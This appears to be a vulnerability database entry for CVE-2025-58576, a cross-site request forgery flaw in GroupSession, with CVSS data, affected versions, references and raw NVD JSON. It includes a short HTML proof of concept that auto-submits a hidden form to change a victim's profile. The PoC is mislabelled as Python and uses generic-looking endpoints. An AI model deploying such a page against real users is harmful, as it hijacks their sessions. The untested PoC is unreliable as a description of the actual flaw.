CVE-2025-58576

Description

Cross-site request forgery vulnerability exists in GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2. If a user accesses a malicious page while logged in, unintended operations may be performed.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:* - VULNERABLE

cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:* - VULNERABLE

cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:* - VULNERABLE

GroupSession Free < 5.3.0

GroupSession byCloud < 5.3.3

GroupSession ZION < 5.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>CSRF Attack PoC</title> </head> <body> <h1>Malicious Page</h1> <p>This page attempts to perform unauthorized actions on GroupSession.</p>  <form action="http://target-groupsession.com/gsession/api/user/update" method="POST" id="csrfForm"> <input type="hidden" name="username" value="attacker_controlled" /> <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="action" value="updateProfile" /> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); console.log('CSRF request sent'); </script>  <img src="http://target-groupsession.com/gsession/api/action?param=value" width="0" height="0" /> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58576
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58576
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58576/
[4] VulDB https://vuldb.com/cve/CVE-2025-58576
[5] https://groupsession.jp/info/info-news/security20251208
[6] https://jvn.jp/en/jp/JVN19940619/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-58576", "sourceIdentifier": "[email protected]", "published": "2025-12-12T05:16:07.407", "lastModified": "2026-01-23T02:22:17.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-site request forgery vulnerability exists in GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2. If a user accesses a malicious page while logged in, unintended operations may be performed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:*", "versionEndExcluding": "5.3.0", "matchCriteriaId": "32599C61-0938-49C5-8416-44C3DF7B144A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:*", "versionEndExcluding": "5.3.2", "matchCriteriaId": "46F7CACE-2448-4A90-9192-B6270B33E393"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:*", "versionEndExcluding": "5.3.3", "matchCriteriaId": "DD4CD8BC-39CB-44FF-A4D8-22C1B38ED223"}]}]}], "references": [{"url": "https://groupsession.jp/info/info-news/security20251208", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://jvn.jp/en/jp/JVN19940619/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}